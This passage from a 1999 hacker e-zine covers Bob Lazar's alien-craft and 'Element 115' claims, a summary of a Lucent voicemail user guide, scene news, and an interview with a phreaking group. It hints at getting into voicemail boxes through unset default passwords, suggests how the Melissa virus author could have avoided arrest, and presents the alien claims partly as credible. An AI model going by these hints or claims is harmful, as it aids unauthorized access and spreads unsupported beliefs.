gravity amplifiers. There is actually two parts to the drive +mechanism. It's a bizarre technology. There is no physical hookups between any +of the systems in there. They use gravity as a wave using wave guides that look +like microwaves." + +Lazar goes on and on about the possibilities of the alien technology. Lazar: +"It [the propulsion system] was fantastically advanced, but, once you basically +understand what's going on... especially with the reactor, all these things... +even today... you look at science fiction... Star Wars... death rays and laser +guns and all that... the technology isn't that far away, the main thing in all +of the exotic science fiction technology type weapons and things laid out... is +power... it really is... that's the reason there's no hand-held ray guns... and +things like that... because you don't have 10 megawatts available in the palm +of your hand and there's absolutely no way to get it." + +Element 115 - Bob Lazar's contribution to Area S-4: +--------------------------------------------------- + +Obviously, Bob Lazar wasn't allowed into Area S-4 so he could rat them out at a +later date. :) As a physicist, his job was to discover what the power source +of the reactor was. Up until that point, the scientists at S-4 were at a loss. +With Lazar's insight, they determined that the reactor was powered by an element +that is not even on the current periodic table of elements. Lazar calls it +"Element 115". + +What is Element 115? An interviewer asked that question, and got a decent +answer from Lazar. Lazar: "Okay, it's a super-heavy element: On the periodic +chart, which lists all the elements found on earth and that can be synthesized, +I think the highest element we've synthesized has been about Element 106. Now +from 103 -- or actually, anything higher than plutonium up -- the half-life +begins to drop; in other words, the element disintegrates. When you get up to +Element 106, it's only around for a very small amount of time. Even science +today theorizes that up around Element 113 to 116 -- somewhere in there -- they +should again become stable. This is in fact true. That's what Element 115 is; +it's a stable element. To synthesize it would be impossible. The way we +synthesize heavy elements is, we take a stable element like bismuth or something +like that, or plutonium, whatever, put it in an accelerator, and BOMBARD it with +protons. Essentially what you're trying to do is plug in protons into the atoms +and increase the atomic number. To do that to the level of Element 115 would +just take an infinite amount of power and an infinite amount of time." + +If Element 115 requires "an infinite amount of power and time" to create it, +then how was it created? Fortunately, Lazar answered that question as well. +Lazar: "The only place that 115 could be made would have to be in a natural +situation, somewhere maybe on the fringes of a supernova or somewhere around +maybe a binary star system, where there was more mass in the primordial mix of +that system, where heavier elements would have had a chance to form, when the +stars were collapsing and there were huge amounts of energy being released. +It's something along these lines; it has to be a naturally-occurring element." +Is it possible to create Element 115 on Earth? Lazar: "Well, the 115, it's +impossible. And the FACT that the main job of everyone there is to find out how +everything's made; I mean that just contradicts everything right off the bat. +The materials are completely alien to us, and just the overall idea of the +project is: Hey, can we duplicate this with materials that we have here? So +obviously, it was something that was found or given, for that matter, and we're +just trying to duplicate it." I can't disprove that Lazar has knowledge in +this particular area of science, but "impossible" is an extremely strong word +that has brought down greater men than him. What is deemed to be impossible +at one moment sometimes has a way of becoming possible in the future. + +As he eluded to above, bombarding Element 115 with protons creates anti-matter. +That is how Element 115 powers the space craft through the reactor. To compare +it to current weapons, Lazar says that "2.2 pounds of Element 115 is the energy +equivalent of 47 10-megaton hydrogen bombs". Through unconfirmed briefings, +there were slightly over 50 pounds of Element 115 at Area S-4. + +Lazar's wild experiments and experiences: +----------------------------------------- + +Lazar's first visual demonstrations of the alien technology happened after his +final briefings (a couple of hours after he first saw the "Sport Model"). He +met his colleague, Barry and he showed Lazar how the entire system worked +(which is explained above). Using tongs, Barry placed a triangular piece of +Element 115 into the reactor. After Barry replaced the lid, etc. a +"gravitational field" was created right away. Barry told Lazar to touch the +field. Lazar:"...it felt like you bring two like poles of a magnet together; +you can do that with your hand. And it was FASCINATING to do that, impossible, +except on something with great mass!" The gravitational field was also a +repulsion field. Lazar: "...we kind of fooled around with it for a little +while. And we threw golf balls off it. And it was just a really unique thing." + +Lazar had another experience that was also very unusual. Lazar: "Yeah, they +did. They were able to channel the field off in a demonstration that they +created an INTENSE gravitational area. And you began to see a small little +black disk form, and that was the bending of the light." Lazar then told his +interviewer that a burning candle was placed into the dark disk. The candle was +still lit, but it didn't burn or melt. It was in a "distorted gravitational +field, which distorts time". + +During one day at work, Lazar was approached by Dennis. He wanted to show +Lazar something that would give him an insight into the craft's amplifiers. +Lazar: "He wanted to show me, because we were going to be dealing with the +amplifiers themselves... how they hung in the lower portion of the disc and +there's a hexagonal shaped grid on the floor... that's kind of a crawl space... +well, for them it's a crawl space... for me you could squeeze in there... and it +was a tinsel brilliant hole... you know you can buy a six pack of beer..." +After he examined the amplifiers inside the "Sport Model", he then stood back +and watched a test flight. He watched as the amplifiers glowed and the craft +lifted off of the ground. He watched it do simple manoeuvres. Lazar was hoping +that he'd eventually be given the chance to actually be inside of the craft +during a test flight, but that never happened. + +More information about Lazar and the desert test flights: +--------------------------------------------------------- + +In my previous article, I wrote about how Lazar, his friend Gene Huff and others +went out to see what they believed to be the "Sport Model" being test flown. +They claim to have watched the test flights on two consecutive weekends. What +I didn't tell you is that on the third weekend, Lazar, Huff, John Lear, Lazar's +wife and sister-in-law got caught by the local sheriff. To make an +uninteresting tale short, the sheriff let them go. The next day Dennis took +Lazar to an abandoned army base and he was questioned about his actions during +a debriefing. After that experience, Lazar decided to quit. Shortly after that +event his past started to disappear, and he was allegedly shot while driving on +a freeway. + +Blackie Lawless' opinions on Bob Lazar/Area S-4 : +------------------------------------------------- + +As promised, I will offer my own opinions and insights into this topic. While +doing a great amount of research before writing these last two Conspiracies and +Coverups articles, it became evident to me that Bob Lazar doesn't possess a +very good memory. In virtually all of his interview transcripts he admits that +his memory is bad. Whether Lazar honestly has a bad memory, or simply has holes +in his story is debatable. Obviously, the "memory gaps" could exist for a +reason that Lazar isn't willing to share publicly. He also makes assumptions +about certain things (such as the age of Area S-4), but on other topics he is +very careful not to make an assumption. I've also read other writers' opinions +with an open mind. Some people have a strong belief that Lazar is actually part +of the debunking process. + +I do believe that Lazar was at Area S-4. The passed and inconclusive polygraph +tests done by several polygraphers indicate to me that Lazar was involved there +in some way. Also, I know what Big Brother is capable of doing, and that it's +very possible for Lazar's past to have disappeared the way it did. The only +troubling part of that is that his scientific credentials couldn't be easily +verified. He claims that the government was involved in erasing them as well. +However, if George Knapp is to be believed, Lazar did work at Los Alamos. What +was his job though? One writer claimed that he was there as a service +technician and not as a head physicist. I couldn't find any evidence supporting +that claim either. Based on Lazar's statements, he is either legitimately a +scientist or an actor that has been briefed for months by the U.S. government +because he does prove that he has scientific knowledge. What he said about the +alien craft and the subsystems he described sounds fairly believable. + +In my opinion, there has been too many UFO reports to discount the fact that +there are alien beings, and that they have visited Earth. However, there isn't +enough evidence to conclusively say that any of the UFOs are the craft that +Lazar says he saw. Lazar himself is an enigma. He doesn't come across as a +liar, but his personal quirks weaken his credibility. To believe in Lazar's +story is a leap of faith because there hasn't been any one else to fully +corroborate his story. My opinion is that Lazar did see and work (perhaps not +extensively) on alien technology at the Nevada Test Site. I am definitely +keeping an open mind, and am vigilantly looking for other reliable sources of +information that could reinforce Lazar's story of his experiences at Area S-4. +I hope that you will do the same as you can never possess too much knowledge. +Knowing the facts about stories such as this one and having verifiable proof +is something that should be of great importance to most people. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +H/P INFORMATION AND NEWS - {H/P} +Inside Merlin Mail. + +I was recently given the documentation for the Merlin Mail Voice Messaging +System by Lucent Technologies. After reading through the User's Guide, I +decided that the information might be useful to others, and that perhaps a +brief article should be written to cover it. Admittedly, this isn't the most +technically advanced topic or anything, but it is something that may interest +a few people that haven't run across these particular systems. Basically, this +article isn't a copy of the entire manual, but rather a concise summary of +Merlin Mail and its features. Thanks go to Shatazar for providing the complete +docs to me. ;) + +Page 1: +------ + +A Lucent Technologies logo is displayed on the top right corner. Centered in +the middle of the page is the following text: + + Merlin Mail + Voice Messaging System + Release 3 + + For the MERLIN LEGEND + Communications System + + User's Guide + +Underneath that, in the bottom right corner it reads: + + 585-320-744 + comcode 107542870 + Issue 1.0 + April 1995 + +Page 2: +------ + +The second page of the User Manual consists mainly of Copyright information, +notices, a couple of paragraphs regarding the user's responsibility for system +security (unauthorized use, toll fraud, the fact that Lucent Technologies won't +be held responsible), Trademarks, etc. The end of the page contains ordering +and publishing information. In case anyone is interested in calling them and +ordering a copy, I'll include everything for your convenience. + +Call: + +Lucent Technologies BCS Publications Fulfillment Center +Voice 1-800-457-1235 International Voice 317 361-5353 +Fax 1-800-457-1764 International Fax 317 361-5355 + +Write: + +Lucent Technologies BCS Publications Fulfillment Center +P.O. Box 4100 +Crawfordsville, IN 47933 + +Order: + +Document No. 585-320-744 +Comcode 107542870 +Issue 1, April 1995 + +Published by +BCS Product Documentation Development +Basking Ridge, NJ 07920-2332 + +Page 3: +------ + +The third page has a comical little "MERLIN MAIL Voice Messaging System +Release 3 Wallet Reference Card", with an extremely tiny Lucent Technologies +logo above it that's barely readable. Basically, it's only for idiot users +that can't remember how to login, listen and delete messages, etc. Beneath +the reference card are a few short, telling paragraphs that are unrelated to +this article, but I'll include them just for background info/interest sake. + +"Intellectual property related to this product (including trademarks) and +registered to AT&T Corporation has been transferred to Lucent Technologies +Incorporated." + +"Any references within this text to American Telephone and Telegraph Corporation +or AT&T should be interpreted as references to Lucent Technologies Incorporated. +The exception is cross references to books published prior to December 31, 1996, +which retain their original AT&T titles." + +"Lucent Technologies -- formed as a result of AT&T's planned restructuring -- +designs, builds and delivers a wide range of public and private networks, com- +munications systems and software, consumer and business telephone systems, +and microelectronic components. The world-renowned Bell Laboratories is the +research and development arm for the company." + +Page 4: +------ + +The fourth page of the manual just shows a Voice Mail Activity Menu, which +demonstrates how to use the main functions after logging in, and explains +the Outcalling menu, etc. All of the features it mentions are covered later +in this article. + +Page 5: +------ + +The fifth page (labelled page 1 at the bottom) is the Table of Contents. It +also includes some basic help information, such as their 24 hour toll-free +Helpline number, at 1-800-628-2888. By dialing that number, you'll reach +the Lucent Technologies National Customer Care Center. And from there, your +call will be prioritized, you'll be put on hold and have to wait to speak +with a representative. Since I'm not going to re-type and cover all 20 pages +of the manual, listing the entire Table of Contents isn't necessary. But to +summarize it, there's an Introduction, Helpful Hints, Voice Mail Tips, Logging +In, Personal Administration, Message Administration, Transferring and Using +Directory, Outcalling, Direct Voice Mail and various subsections to each after +the Logging In section. + +The Introduction is self-explanatory and discusses the basics of voice mail, +which are generally common knowledge. It also tells readers to contact their +system manager if they have any questions or problems. + +The Helpful Hints section covers the basic instructions for commonly used +functions such as: + +Press *# to go back through the voice mail menus and prompts. + +Press *4 to replay a voice mail menu. + +Press *7 to return to the Voice Mail Activity Menu. (main menu after login) + +The Voice Mail Tips section is directed at users that aren't familiar with +voice mail systems and overall etiquette, etc. None of the so-called "tips" +they've given are even worth mentioning. + +Next is the section dedicated to Logging In, which is a series of four steps +that are outlined below: + +"To listen to your messages or to send voice mail, you must first identify +yourself to the MERLIN MAIL Voice Messaging System. The Login procedure tells +the system that you are an authorized user. If your voice mailbox is locked +because of too many unsuccessful login attempts, you must contact your system +manager. (For more information, see the Security Violation Notification +feature in the MERLIN MAIL Voice Messaging System Release 3 Planning, +Installation, and Use manual.) To log in to the voice messaging system use +the following procedure:" + +Step 1 - Dial the MERLIN MAIL system extension, ___. (blank) + +Step 2 - Dial your extension number + #. + + NOTE: + When dialing from your own extension you may press # without entering + your extension number. + +Step 3 - Dial your password + #. Voice Mail announces the number of new and + old messages in your Mailbox. + + NOTE: + The very first time you log in, your password is not set. Enter # for + Step 3. Go to Step 3 in the Changing Your Password section, found on + the next page. + +Step 4 - Select an option from the Voice Mail Activity Menu: + +Record Messages: Press 1 to record and send messages. + +Get Messages: Press 2 to listen to messages. + +Name or Greeting: Press 3 to record your name or personal greeting. + +Personal Operator: Press 4 to choose your personal operator. + +Password: Press 5 to change your password. + +Outcalling: Press 6 to administer Outcalling (if you have this feature). + +Transfer: Press *T (or *8) to transfer to another extension. + +On the next page is the Personal Administration section, which for the most +part is uninteresting other than the short "Security Alert" paragraph, which +reads: + +"If you receive any strange voice mail messages, or your greeting has been +changed, or if for any reason you suspect that your MERLIN MAIL Voice Messaging +System is being used by someone else, contact your system manager immediately." + +Judging by that, it almost seems as though Lucent Technologies is actually +concerned about maintaining security... enough so that they warn users about +potential violations and list a few of the more blatant signs of unauthorized +access/use. ;) + +On the same page, the next section is called Changing Your Password. Even +though the task and method of changing a password are simple, I'll include +what they've written, verbatim, just for those that might never have previously +read anything like this. + +"Use the following procedure to change the password needed to log in to your +voice mailbox." + +"Choose a password that cannot be easily guessed. Do not choose a password +such as 123456. do not choose a password based on your extension number. Do +not choose a password based on any personal information that may be found out +by others, such as your birthdate or social security number. Do not write your +password down or share your password with others." + +Step 1 - Log in to Voice Mail. + +Step 2 - Press 5 to change your password. The system prompts you to enter the + new password and #. + +Then there's another "Security Alert" message that reads: + +"A longer password helps prevent unauthorized access to your voice mailbox. +(See the section entitled "Your Responsibility for Your System's Security" on +the inside front cover of this book.) Your password can be up to 15 digits +long. A password of at least 6 digits is recommended. Passwords should be +changed at least once every three months." + +What they've written is just common sense that should already be understood +by everyone. However, they felt it was necessary to include that paragraph. +And, in a way, it is something that is needed since a lot of people leave +their password/passcode as default, never change it, or choose one that is +easily found/guessed... and use the shortest one possible (the minimum length) +so that it's easy for them to remember. Hell, some people don't change it +even after it's obvious that their mailbox security has been compromised by +someone. And I can personally attest to witnessing that type of stupidity +and/or indifference. Some people just don't give a fuck about their own +privacy and the security of the systems that they use. But I digress. Back +to the steps. ;) + +Step 3 - Enter the new password (up to 15 digits) followed by #. + + If your system manager has set a minimum password length, and your + password is shorter than this minimum, you hear a message that your + password is too short. You must repeat Step 3 and enter a password + at least as long as the minimum length. The system prompts you to + re-enter password and #. + +Step 4 - Enter the new password again followed by #. + +And that's all there is to changing a password. The next two pages in the +manual describe how to record a personal greeting and the process of deleting +a personal greeting. With the deletion of a personal greeting, the system +then reverts back to using the system default greeting. The page after that +shows the steps to recording your name (which is heard by callers) rather +than using a personal greeting. However, the process is very similar. + +Following that is the Personal Operator section. It explains how the owner +of the mailbox can specify a personal operator, which callers are transferred +to if they dial 0. If you don't specify a personal op, and the caller dials 0 +then they are transferred to the system's Call Answer Service Operator. It +also advises mailbox owners to let callers know in the personal greeting +message that they have the option of pressing 0 to reach an operator. The +process of specifying a personal op is as follows: + +Step 1 - Log in to Voice Mail. + +Step 2 - Press 4 to change your personal operator. + +Step 3 - Choose an option: + +Operator: Enter your personal operator's Extension followed by #. +Remove: Press 0# to remove a personal operator number. +Retain: Press # to retain the current setting. +Activity Menu: Press *# to return to the Voice Mail Activity Menu. + +The next few sections are devoted to Message Administration (Sending Messages +to other subscribers, Listening to Messages, Replying to a Message, Forwarding +a Message, Transferring to an Extension and Using the Directory). Since most +of these features are easy to use and don't require following a long series of +steps, there's no reason to explain them in any detail. + +Outcalling: + +"Your system manager may allow you to use the Outcalling feature. If you have +Outcalling privileges, you can specify up to five different numbers that the +voice messaging system will call when you receive a new message. This is +sometimes called "Cascaded Outcalling." Each telephone number can have up to +60 digits." + +"When you receive an Outgoing call on a telephone, the system allows you to log +in to retrieve your messages." + +"To Cancel further Outcalling attempts for the new message, press *# instead of +logging in. If you receive a new message, you will still receive an Outcalling +call. To cancel Outcalling for all new messages, turn Outcalling off." + +Now this seems like a cool feature that's worth exploring, doesn't it? ;) + +"If Outcalling is on, the voice messaging system calls the designated phone +numbers in the order that they are stored in the Outcalling list. This is +called cascading. When a call is completed to a telephone or voice pager, +the system plays a message which identifies the call as coming from the +MERLIN MAIL system, and continues: "You have a new message. To access your +new message, enter extension and #. To avoid further notification about this +message, press *#. Please enter extension and #." The Outcalling message +does not play for digital pager calls. The pager will display the callback +number that you have programmed in the pager's Outcalling number. When you +receive an Outcalling call on a digital pager, you must call in to the voice +messaging system to retrieve your messages." + +Calling continues until one of the following actions occur: + +- During the Outcalling message call, you press *# to cancel Outcalling until +a new message arrives. + +- You log in to your MERLIN MAIL Voice Messaging System mailbox. + +- The Outcalling interval specified in your schedule is over. + +- The voice messaging system has attempted to deliver the message (by calling +all numbers in your Outcalling list) the number of times specified through +the Outcalling cycles programming option. + +Use the following general rules to specify an Outcalling number: + +- Up to 60 character may be used. + +- End the Outcalling number with *#. + +- Use the digits 0-9 for the Outcalling number itself. + +- Specify 1.5 second dialing pauses, as needed, with *. More than one * may +be used. + +- For Outcalling to a pager you must put a sufficient number of pauses (*) +after the phone number to allow time for the paging service to answer before +the Personal Identification Number (PIN) or callback number is dialed. + +- Put a # in your Outcalling number where needed. One example is Outcalling +to a digital paging service where a PIN needs to be followed by a #. + +- You cannot have a * followed immediately by a # in your Outcalling number. +When you press *# you are telling the system that you have finished entering +your Outcalling number. + +To change Outcalling settings, follow the procedure below: + +Step 1 - Log in to Voice Mail. + +Step 2 - Press 6 to administer Outcalling. + +Step 3 - Choose an option: + +On/Off: Press 1 to turn Outcalling on/off. + +Review: Press 2 to review your list of Outcalling numbers. + +Instructions: Press 3 to listen to instructions on entering Outcalling + numbers. + +Program Numbers: Press 4 to change your list of Outcalling numbers. + +NOTE: Use * for a 1.5 second pause in the Outcalling number. + +Schedule: Press 5 to change your Outcalling schedule. + (Factory setting: all hours) + +Delay: Press 6 to change the minimum time between Outcalling + attempts. (Factory setting: 15 minutes; Range 5-99 minutes) + +Cycles: Press 7 to change the number of Outcalling cycles. + (Factory setting: 3 cycles; Range: 1-9 cycles) + +Activity Menu: Press *# to return to the Voice Mail Activity Menu. + +Outcalling Numbers: + +To program Outcalling numbers you should follow the guidelines below: +For a standard telephone number or a voice pager number: + +- Enter digits (0-9), pauses (*), and pound signs (#) required to place the +call; include any access numbers needed. +Example: 9*18005552020 +- Enter *# to signal the end of the number. + +For a digital pager or beeper number: +- Enter digits (0-9) and pauses (*) or pound signs (#) required to place the +call; include any access numbers needed. +Example: To specify an access number, a 1.5 second pause, the paging service +number (555-1234), a 4.5 second pause, a PIN (1234) followed by a # and a +callback number (555-3456) followed by a # enter: +9*5551234***1234#5553456# +- Enter *# to signal the end of the number. + +Following that is the Outcalling Schedule, Outcalling Delay and Outcalling +Cycles sections. Each of those functions are easy to use: + +Example: Log in, Press 6 to administer Outcalling. Press 7 to change your + Outcalling cycles. + +Therefore, I won't go through all of them step by step. + +Direct Voice Mail. + +"If you have a MERLIN LEGEND Communications System Release 3.0 or later, you +may use the Direct Voice Mail feature to call or transfer a call directly to +a subscriber's voice mailbox." + +Calling a Mailbox Using Direct Voice Mail. + +To call a voice mailbox without ringing the extension, follow the procedure +below: + +Step 1 - (Multiline telephones only) Choose one of the options below: + + Press Direct Voice Mail button. + Press the Feature button and select Direct VM. + Press the Feature button and dial 56. + Go off hook on an SA or ICOM button and press #56. + +Step 1a - (Single-line telephones only) Go off hook, then dial #56. + +Step 2 - Dial the extension number or press Auto Dial button. + +Step 3 - Leave a message for your co-worker. + +Transfer to a Mailbox Using Direct Voice Mail. + +To transfer a call to a voice mailbox without ringing the extension, follow +the procedure below: + +Step 1 - (Multiline telephones only) Choose one of the options below: + + Press Direct Voice Mail button. + Press the Feature button and select Direct VM. + Press the Feature button and dial 56. + Press Transfer button and dial #56. + +Step 1a - (Single-line telephones only) Press Flash or Recall then dial #56. + +Step 2 - Dial the extension number or press Auto Dial button. + +Step 3 - Hang up and the transfer will be completed. If you transferred the + call by pressing the Transfer button and dialing #56, either press + the Transfer button again, or hang up and the transfer will be + completed. + +The final page covers programming a Direct Voice Mail Button on MLX Telephones +and on Analog Multiline Telephones. + +MLX: Press Feature button and press 00. Press the button on the telephone +that you want to program. Then press *56. To exit, press Feature button and +press 00. + +Analog Multiline: Slide switch on the side of telephone to the P setting. +Press the button on the telephone you want to program. Press *56. Slide +switch on side of telephone to the center setting. + +That's all there is on the last page of the Merlin Mail User's Guide. + +In closing, Merlin Mail is a fairly simple VMS to learn, explore and use. +It offers quite a few useful options to its users, has an easy, user friendly +menu system and is similar to many other common types of voice mail systems. +It's a little dated (circa 1995), but the information is still relevant. If +you have any questions, send Email to blackened@disinfo.net and I will do my +best to respond and provide you with any additional information relating to +Merlin Mail that you require. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +ú - NEWS FROM THE TRENCHES - ú + +On April 8th, 1999 THC Phreak was arrested by the RCMP, accused of alleged +"computer crimes". I cannot disclose any details for obvious reasons. I +can say that he hasn't cooperated with them and he assured me that he won't +mention anyone else or implicate them in anything. However, due to his +involvement in the group Damage, INC. (and the very nature of groups such +as this), they may indeed try to accuse us of conspiracy to commit crimes... +even though to my knowledge, none of us are guilty of such things. There +weren't any plans to commit illegal acts, nor was there any premeditation on his +part relating to what he has been charged of allegedly doing. That doesn't mean +we're safe and in the clear by any means though. In this country, unwarranted +charges are not uncommon. In fact, they are far from being rare... and the +RCMP's infamous witchhunts happen all too often. And so, THC Phreak's fight +for personal freedom, liberty and justice will go on as he battles the corrupt +system that has chosen to "make an example out of him." Unfortunately, this +situation most likely won't be resolved for quite some time, as these things +have a way of dragging out over a long span of time. For his sake, I sincerely +hope that his lawyer is well versed in these matters and able to defend him +well. At this point, they're still in the process of gathering evidence... and +they haven't said what the final (inflated) figure is for the damages he's +allegedly caused. To be honest, I don't believe he would intentionally do any +damage, steal information or any services of value. So, again, they're just +drumming up false charges and it's only a matter of time before they start +throwing around large figures (putting a hypothetical worth/dollar value of huge +sums of money on something) to impress the media and influence the public. +Afterall, that is one of their classic, favourite tactics to use. + +His phone service was cut. Bell Canada claimed that he "violated their +customer service agreement policies." Also, to anyone that thinks THC Phreak +is some kind of "K0d3z kid" that was into carding, etc. your assumption is dead +wrong. Nothing could be further from the truth. He didn't card, abuse codes, +sell CC numbers, etc. and never showed any interest in doing so during the +entire time that I knew him. Even the ignorant pigs didn't try to charge him +with doing that. + +- There's going to be a new zine called CCi magazine that everyone should check +out. For more information, visit http://come.to/cci_mag and read about the +plans, etc. In case you're wondering why I'm promoting it here, I'm a writer +for CCi mag and would like more people to become involved with it. + +- System Failure is no more. Visit www.sysfail.org to download their final +16th issue. It's sad to see another quality zine cease publication. I'd +just like to wish the staff of SysFail good luck in their future endeavours. + +- Ma Bell no longer has a monopoly on payphones due to deregulation. But there +are a few companies in Ontario that have been scamming investors out of +thousands of dollars. They've been posting ads in newspapers, which request +an investment of several thousand dollars for the telephone equipment necessary +to start your own small business... but their customers haven't received the +payphones that they believed they were purchasing. Most of the scam businesses +were run out of post office boxes, so they couldn't contact them at an office +or do anything to recover their lost money. So, it's not quite as easy as +buying a payphone and bolting it onto a wall yet. ;) + +- The author of the Melissa virus was apprehended due to his own lack of +stealthfulness. David L. Smith's incompetence caught up with him when he +distributed the Micro$oft Word virus using an AOL account, from his home +in New Jersey using his own phone line. Working with Bell Atlantic, the +local telco servicing his area, the cops were able to get a trace and track +him down quite easily. He was arrested and charged with various offenses +which combined carry a maximum sentence of 40 years in prison and $480,000 +in fines. If he would have used an anonymous terminal in a public building +(that doesn't require a login) to distribute the virus, there's a good chance +he would never have been caught. + +- Bill Gates is now worth an estimated $100 billion. Can you say "greedy +bastard?" And that figure has most likely increased by several billion since +I last checked his net worth. + +Bell Canada techs and ops, which are members of the Communications, Energy, and +Paperworkers Union of Canada have been on strike since March 9. They are +fighting Ma Bell tooth and nail over job security. Bell wants to form an +alliance with Excell Global Services of Arizona to create a new company called +NEWCO. Bell Canada ops make a base salary of $35,000. Bell wants to dump them +(or convert the bitchiest ops) in favour of NEWCO ops that will make $20,000 per +year. In mid April, Bell called the Montreal riot police after the ops and +techs formed a human blockade infront of Bell HQ. Bell called in Montreal's +riot police so their non-unionized scab workers could get to work. On April 28, +at the BCE shareholders meeting, an estimated 800 Bell workers/shareholders set +small fires, and demanded that BCE share the profits with the employees. +Meanwhile, BCE claimed to have "lost $115 million" in Q1 of 1999, despite gross +revenues of $3.5 billion. The "loss" is blamed on Nortel, which bought out +another telecom company, and losses at BCI (Bell Canada International) and other +international interests. + +Bell Canada strike update: On May 11, Bell and union leaders announced an +agreement in principle. When the deal takes effect, Bell's 7,200 techs will get +an 8.4% raise over five years and a shorter work week (they barely put any hours +in before the strike IMO). The 2,300 ops get nothing except for a "cost-of- +living catch-up in [sic] the last two years." A union official stated, "[the +deal] improves people's likelihood of keeping their jobs for the life of the +agreement." Bell also promised to keep an additional 100 ops under its wing. +The other 1,300 bitter ops will no longer work for their beloved Bell Canada. +They'll work for "Nordia Inc." (it seems the new company isn't "NEWCO" anymore). +It is obvious that Bell is trying to split the union by offering the techs a +nice pay increase as a compromise for hammering on their ops. Bell's simple +strategy of divide and conquer through greed worked. On May 15, 80% of the +union voted in favour of the new deal. Essentially, the techs sent the ops into +Bell exile. This is a good deal for Bell, but obviously not for customers that +have to deal with the infamously bitchy Bell Canada ops. They certainly will +become even more bitter now. + + +CROSSED WIRES - {WIRES} +Advertisement for CyberCrime International Magazine. + + _______ ___ ___ ______ ______ _____ _______ _____ ____ ___ __________ + ) ) ) ) ) ) ) ) ) ) / ) ) + / / / / _/ / \___/ __/ / / __/ / / / \___/ + / \___/_ __/ / \___/ / \___/ / / / \___/ + / / / \/ _/ / / \ / \ / / / / / +(_______( (______)_____(______(___/ \ ____(___/ \__(__(_(__(______( + (____) (____) /nFRAUD\rBL/97\ + M A G A Z I N E + + There's going to be a new zine on the scene and it's called + CyberCrime International Magazine. This new zine + will be reader supported and cover a wide + range of topics from every scene. + So be afraid. Be VERY afraid. + + For more information visit the web site: + http://come.to/cci_mag + rad2921@cup.edu + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An interview with Overfien of 9x. + + = BLACKENED +Overfien's comments are beneath my questions. + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +whatup, my nick is Overfien. I've been in the hack phreak scene for about +4 years now. Use to run a bbs called (Seattle's Devils). I've released a few +of my articles out on the net on RCMAC/ISDN tips. I got started in Computers +when I was 10; using a comm 64. Later on learned to program in pascal. +Eventually I got packard bell 386.. started learning some basic...Then bought +a pentium and learned to program a little java. Started going to 2600 meetingz. +Chillen on irc. Took computer networking classes at the tech college. Starting +to learn slowly how to program in "C" + + - How long have you been involved in the h/p scene? + +ive been in the hp scene for almost 5 years. + + - When was 9x started? How was the group formed? What are the goals and +purpose of 9x? Is there anything in particular that you hope the group will +achieve? + +9x was started about 4 years ago. The group was formed by substance, SchizoMan +(aka: microdot), Deliquent Dialer and a few others. It started as a very small +unknown group and eventually got more known. The goal of 9x is to get more kids +(and adults) into HP - To keep the public on new technology, hacks, and other +ways of doing illegal things without getting caught. Probally to live on and +stay active. As long as we the members active, 9x will never die. + + - How has 9x changed since the first text releases were written? + +9x has changed ALOT over the years, we started out almost taking anything would +give us if the info looked accurate... Now "we" as in 9x only take fully +accurate info.. + + - As the editor of 9x, do you find that it's difficult to get people to +write articles and contribute? Also, has releasing text files and 1-800/888 +scans on a frequent basis been a challenge? + +No, everyone (well most) seems to stay somewhat active. We dont ask much of +people, just to idle on #9x, show some support and contribute with a scan, or +util once every few months. + + - What does it mean to be a member of 9x? + +Hmm.. get respect from other 9x members you get a vmb, conf infoz when we have +em.. thats about it. + + - Can anyone write articles/text files/scans and submit them to 9x? +Where should they be sent? How should people that are interested in +contributing contact you and/or 9x? + +my email is overfien@bboy.com . You dont need to be a member to join 9x, +anyone can submit and get on the greetz list. Any submissions should be +mailed to the leader (Substance) or dcc'ed to a 9x member. + + - Normally, I wouldn't mention specific releases in an interview. However, +I must commend Hazzmat and you for a recent 9x release written on PBXs. It +was very well written, informative and accurate. Not that 9x's other text, +scans and utilities aren't quality. In fact, I recommend that newbies download +the ones explaining ANI, Octel, Alltel, OneConnect VMBs, Blue Boxing, DNS +Spoofing, etc. The scans are great for newbies as well, as they can check out +some of the various Unix systems listed. My question is, which of 9x's releases +do you feel best represents the group? + +I would agree with you on the pbx file me and hazzmat wrote..I cant say +any of them really represent, you have to decide ... + + - How does someone apply to join 9x as a member? Should they write an +article first, submit a scan or otherwise prove themselves to be competent +and knowledgable? Can anyone apply or is becoming a member by invitation only? + +anyone can become a member and you should scan an 800/888/x25 prefix, an article +and or code a util to get looked at for membership. send submissions to +jcat@raw.veloweb.com. + + - What types of things are normally discussed in #9x? + +we talk about life drugs, girlz, programming, new hardware all that shit. + + - Are you still actively involved in h/p? What do you think of the current +h/p scene and how has it changed since you began? + +Yes i'm currently active.. I think the HP scene has changed for the worse +since I see much more clueless, more kids from aol are claiming to be in scene, +more and more windowz o/s user claim to be leet. we need more education for the +public, less movies like Hackers which makes every kid with a computer feel like +a hacker. + + - Do you read any h/p related zines? If so, please list a few of them. + +I wrote an article on national ISDN Networks. + + - Which h/p groups, if any, do you respect? + +b0, wod, darkcyde, Sun City Circuitz + + - Have you ever... at any time... considered joining another group? +If so, which one(s) and why? + +I havent really considered joining another group totaly, but I considered +merging 9x with other groups to make a more powerful final . I was about to +consider joining Sun City Circuitz... although they were about to lease me +an UltraSPARC-IIi 300MHz, 512k Cache...i declined because 2 of their members +got arrested for stealing "meeting place software" + + - Which web sites do you usually frequent? + +www.darktide.com, hack.box.sk + + - Do you want to share any memorable hacking/phreaking experiences? + +Well defcon 5 the first night.. i got quite wasted and didn't wake up til the +convention was over with... + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +i got busted a few times for forgery, theft2nd, computer tresspass..Deffered +prosticution.. be a good boy for 2 years get it all off my record... + + - Do you want to mention any boards that you call or people in the +scene that you know? + +Hideout in hell [360] +Phantom Tollbooth [914] and ice [518] +phreakz [360] +Killer Spiral [212] +Sun City Circuitz [360] +Defcon Voice bridge [916] +Centrex [916,292] +utah party line [801] +2600 voice bridge [516] + +Greetz to: Microwave aka Digital Pawn, Crossbar, Dialt0ne, Hamster, Chameleon, +Chyxxor, Nivphreak, Angieb, Bstring, Reveal, Corrupt Security, Superior, +savec0re, Evil Operator, Power Dragon, Pail Head, Madgirl, Dr. Who, +Alien Phreak, Tr1x, Dre, Queen B, Mr. Midnight, Skalar109, JF, Jack T. Dragon, +DeathCraze, Broken-, Oclet, omega 2, Power Dragon, Geno Ramano, Jennicide, +LoopHole, Data Angel, Hybr1d, Demos, Phaceman, Downt1me, 